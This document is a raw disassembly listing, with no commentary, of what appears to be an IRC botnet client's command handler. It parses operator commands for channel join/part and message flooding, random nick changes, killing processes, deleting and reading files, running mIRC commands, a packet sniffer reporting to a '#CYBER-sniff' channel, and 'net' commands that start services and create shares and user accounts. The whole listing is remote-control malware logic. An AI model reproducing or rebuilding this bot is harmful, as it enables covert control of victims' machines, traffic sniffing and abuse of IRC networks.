		jnz	loc_404D74
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404D74
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_0	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	offset aRoom	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_0 ; "part %s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h
		call	sub_41B850
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_1	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h
		call	sub_41B850
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_1 ; "part %s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_2	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h
		call	sub_41B850
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_2 ; "part %s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_404D74:				; CODE XREF: sub_401CC1+2F71j
					; sub_401CC1+2F7Ej
		push	edi
		push	offset aDcc	; "dcc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E0C
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404E0C
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C0]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_442CFC
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h


loc_404E0C:				; CODE XREF: sub_401CC1+30C2j
					; sub_401CC1+30CFj
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404F0F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_404F0F
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_3	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_1	; "NICK	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h
		call	sub_41B850
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_2	; "NICK	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_404F0F:				; CODE XREF: sub_401CC1+315Aj
					; sub_401CC1+3169j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F53
		lea	eax, [ebp+var_15B4]
		push	eax
		call	sub_4156B7
		lea	eax, [ebp+var_15B4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_3	; "NICK	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_404F53:				; CODE XREF: sub_401CC1+325Dj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405045
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405045
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_4	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h
		call	sub_41B850
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "privmsg %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h
		call	sub_41B850
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_1 ; "privmsg %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_405045:				; CODE XREF: sub_401CC1+32A1j
					; sub_401CC1+32AEj
		push	edi
		push	offset aNotice_2 ; "notice"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405137
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405137
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_5	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h
		call	sub_41B850
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_2 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h
		call	sub_41B850
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_3 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_405137:				; CODE XREF: sub_401CC1+3393j
					; sub_401CC1+33A0j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405255
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405255
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_6	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442DE8
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 20h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442DFC
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442E14
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442E2C
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h


loc_405255:				; CODE XREF: sub_401CC1+3485j
					; sub_401CC1+3492j
		push	edi
		push	offset dword_442E44
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405382
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405382
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442E48
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_442E50
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 20h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_442E64
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_442E74
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h
		call	sub_41B850
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_4F1334	; Sleep
		push	offset aRoom_0	; "room"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_442E84
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_405382:				; CODE XREF: sub_401CC1+35A3j
					; sub_401CC1+35B0j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4053C6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4053C6
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_4053C6:				; CODE XREF: sub_401CC1+36D0j
					; sub_401CC1+36DBj
		push	edi
		push	offset aOff_0	; "off"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405CA6
		mov	[ebp+arg_18], offset dword_4E85B4


loc_4053E2:				; CODE XREF: sub_401CC1+3745j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_4053F8
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_4053F8
		push	eax
		call	dword_4E0934


loc_4053F8:				; CODE XREF: sub_401CC1+3728j
					; sub_401CC1+372Ej
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4EECD4
		jl	short loc_4053E2
		cmp	[ebp+var_8], ebx
		jnz	loc_405CA6
		push	ebx
		push	[ebp+var_4]
		push	offset unk_442EBC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h
		jmp	loc_405CA6
; ---------------------------------------------------------------------------


loc_405430:				; CODE XREF: sub_401CC1+2C01j
		push	[ebp+arg_10]
		push	offset aNick_1	; "nick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBD
		push	[ebp+arg_10]
		push	offset aN	; "n"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBD
		push	[ebp+arg_10]
		push	offset aJoin_0	; "join"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B9D
		push	[ebp+arg_10]
		push	offset aJ	; "j"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B9D
		push	[ebp+arg_10]
		push	offset aPart_2	; "part"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B84
		push	[ebp+arg_10]
		push	offset aPt	; "pt"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B84
		push	[ebp+arg_10]
		push	offset aRaw	; "raw"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4D
		push	[ebp+arg_10]
		push	offset aR_1	; "r"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4D
		push	[ebp+arg_10]
		push	offset aKillthread ; "killthread"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4F
		push	[ebp+arg_10]
		push	offset aK	; "k"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4F
		push	[ebp+arg_10]
		push	offset aC_quit	; "c_quit"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089A4
		push	[ebp+arg_10]
		push	offset aC_q	; "c_q"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089A4
		push	[ebp+arg_10]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40894D
		push	[ebp+arg_10]
		push	offset aC_rn	; "c_rn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40894D
		push	[ebp+arg_10]
		push	offset aPrefix	; "prefix"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408938
		push	[ebp+arg_10]
		push	offset aPr	; "pr"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408938
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40890E
		push	[ebp+arg_10]
		push	offset aO	; "o"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40890E
		push	[ebp+arg_10]
		push	offset aServer	; "server"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088E9
		push	[ebp+arg_10]
		push	offset aSe	; "se"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088E9
		push	[ebp+arg_10]
		push	offset aDns	; "dns"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887B
		push	[ebp+arg_10]
		push	offset aDn	; "dn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887B
		push	[ebp+arg_10]
		push	offset aKillproc ; "killproc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40884F
		push	[ebp+arg_10]
		push	offset aKp	; "kp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40884F
		push	[ebp+arg_10]
		push	offset aKill	; "kill"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087F4
		push	[ebp+arg_10]
		push	offset aKi	; "ki"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087F4
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087C0
		push	[ebp+arg_10]
		push	offset aDel	; "del"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087C0
		push	[ebp+arg_10]
		push	offset aList	; "list"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A5
		push	[ebp+arg_10]
		push	offset aLi	; "li"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A5
		push	[ebp+arg_10]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408731
		push	[ebp+arg_10]
		push	offset aMirc	; "mirc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408731
		push	[ebp+arg_10]
		push	offset dword_443350
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DD
		push	[ebp+arg_10]
		push	offset dword_443354
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086DD
		push	[ebp+arg_10]
		push	offset aReadfile ; "readfile"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408658
		push	[ebp+arg_10]
		push	offset aRf	; "rf"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408658
		push	[ebp+arg_10]
		push	offset aSniffer	; "sniffer"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058B9
		push	edi
		push	offset aOn	; "on"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405881
		push	21h
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_4057AE
		push	offset unk_443408
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_4057AE:				; CODE XREF: sub_401CC1+3AE1j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_D98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_D10], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_D0C], eax
		jnz	short loc_4057F0
		mov	esi, offset aCyberSniff	; "#CYBER-sniff"
		push	offset dword_4E0768
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057F0
		mov	esi, [ebp+var_88]


loc_4057F0:				; CODE XREF: sub_401CC1+3B11j
					; sub_401CC1+3B27j
		push	esi
		lea	eax, [ebp+var_D94]
		push	80h
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_2C0]
		push	offset unk_443428
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	21h
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D98]
		push	ebx
		push	eax
		push	offset sub_411A34
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_D14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_405870


loc_40585A:				; CODE XREF: sub_401CC1+3BADj
		cmp	[ebp+var_D08], ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40585A
; ---------------------------------------------------------------------------


loc_405870:				; CODE XREF: sub_401CC1+3B97j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443458
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_405881:				; CODE XREF: sub_401CC1+3AD1j
		push	edi
		push	offset aOff_1	; "off"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407C2F
		push	ebx
		push	21h
		call	sub_40A9F8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4058AF
		push	eax
		push	offset unk_443498
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_4058AF:				; CODE XREF: sub_401CC1+3BE1j
		push	offset unk_4434D8
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_4058B9:				; CODE XREF: sub_401CC1+3ABCj
		push	[ebp+arg_10]
		push	offset aIdent	; "ident"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598C
		push	edi
		push	offset aOn_0	; "on"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405954
		push	2
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_4058F7
		push	offset dword_443514
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_4058F7:				; CODE XREF: sub_401CC1+3C2Aj
		lea	eax, [ebp+var_2C0]
		push	offset dword_443534
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	2
		push	eax
		call	sub_40A7FD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40FD11
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4537DC[esi], eax
		jnz	loc_407C2F
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443560
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_405954:				; CODE XREF: sub_401CC1+3C1Ej
		push	edi
		push	offset aOff_2	; "off"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407C2F
		push	ebx
		push	2
		call	sub_40A9F8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405982
		push	eax
		push	offset dword_443598
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_405982:				; CODE XREF: sub_401CC1+3CB4j
		push	offset dword_4435D0
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_40598C:				; CODE XREF: sub_401CC1+3C09j
		push	[ebp+arg_10]
		push	offset aNet_0	; "net"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C78
		cmp	dword_4E096C, ebx
		jz	short loc_4059BD
		cmp	dword_4E0994, ebx
		jz	short loc_4059BD
		push	offset unk_44376C
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_4059BD:				; CODE XREF: sub_401CC1+3CE8j
					; sub_401CC1+3CF0j
		cmp	[ebp+var_C], ebx
		jz	loc_406693
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_4059E5
		push	eax
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_4059E5:				; CODE XREF: sub_401CC1+3D14j
		push	edi
		push	offset aStart	; "start"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405A4B
		cmp	[ebp+arg_18], ebx
		jz	short loc_405A1F
		push	[ebp+arg_0]
		push	3
		call	sub_4165F2
		push	eax
		push	offset aS_1	; "%s"


loc_405A0B:				; CODE XREF: sub_401CC1+3DABj
					; sub_401CC1+3DCEj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 14h
		jmp	loc_406693
; ---------------------------------------------------------------------------


loc_405A1F:				; CODE XREF: sub_401CC1+3D38j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416899
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405A41
		push	offset unk_443600
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405A41:				; CODE XREF: sub_401CC1+3D74j
		push	offset unk_443624
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405A4B:				; CODE XREF: sub_401CC1+3D33j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405A6E
		push	[ebp+arg_0]
		push	4
		call	sub_4165F2
		push	eax
		push	offset aS_2	; "%s"
		jmp	short loc_405A0B
; ---------------------------------------------------------------------------


loc_405A6E:				; CODE XREF: sub_401CC1+3D99j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405A94
		push	[ebp+arg_0]
		push	5
		call	sub_4165F2
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_405A0B
; ---------------------------------------------------------------------------


loc_405A94:				; CODE XREF: sub_401CC1+3DBCj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405ABA
		push	[ebp+arg_0]
		push	6
		call	sub_4165F2
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_405A0B
; ---------------------------------------------------------------------------


loc_405ABA:				; CODE XREF: sub_401CC1+3DE2j
		push	edi
		push	offset aDelete_0 ; "delete"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405AE0
		push	[ebp+arg_0]
		push	1
		call	sub_4165F2
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_405A0B
; ---------------------------------------------------------------------------


loc_405AE0:				; CODE XREF: sub_401CC1+3E08j
		push	edi
		push	offset aShare	; "share"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405B68
		cmp	[ebp+arg_18], ebx
		jz	short loc_405B3B
		cmp	[ebp+var_8FC], bl
		jz	short loc_405B11
		push	ebx
		push	[ebp+arg_18]
		push	1
		call	sub_4169D6
		push	eax
		push	offset aS_6	; "%s"
		jmp	short loc_405B27
; ---------------------------------------------------------------------------


loc_405B11:				; CODE XREF: sub_401CC1+3E3Bj
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx
		call	sub_4169D6
		push	eax
		push	offset aS_7	; "%s"


loc_405B27:				; CODE XREF: sub_401CC1+3E4Ej
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 18h
		jmp	loc_406693
; ---------------------------------------------------------------------------


loc_405B3B:				; CODE XREF: sub_401CC1+3E33j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416BCB
		add	esp, 10h
		test	eax, eax
		jz	short loc_405B5E
		push	offset unk_443688
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405B5E:				; CODE XREF: sub_401CC1+3E91j
		push	offset unk_4436AC
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405B68:				; CODE XREF: sub_401CC1+3E2Ej
		push	edi
		push	offset aUser	; "user"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C20
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_405BF3
		cmp	[ebp+var_8FC], bl
		jz	short loc_405BA9
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		call	sub_416CEC
		push	eax
		push	offset aS_8	; "%s"
		jmp	short loc_405BDF
; ---------------------------------------------------------------------------


loc_405BA9:				; CODE XREF: sub_401CC1+3EC9j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_405BD0
		push	esi
		push	eax
		push	ebx
		call	sub_416CEC
		push	eax
		push	offset aS_9	; "%s"
		jmp	short loc_405BDF
; ---------------------------------------------------------------------------


loc_405BD0:				; CODE XREF: sub_401CC1+3EFDj
		push	ebx
		push	eax
		push	2
		call	sub_416CEC
		push	eax
		push	offset aS_10	; "%s"


loc_405BDF:				; CODE XREF: sub_401CC1+3EE6j
					; sub_401CC1+3F0Dj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 24h
		jmp	loc_406693
; ---------------------------------------------------------------------------


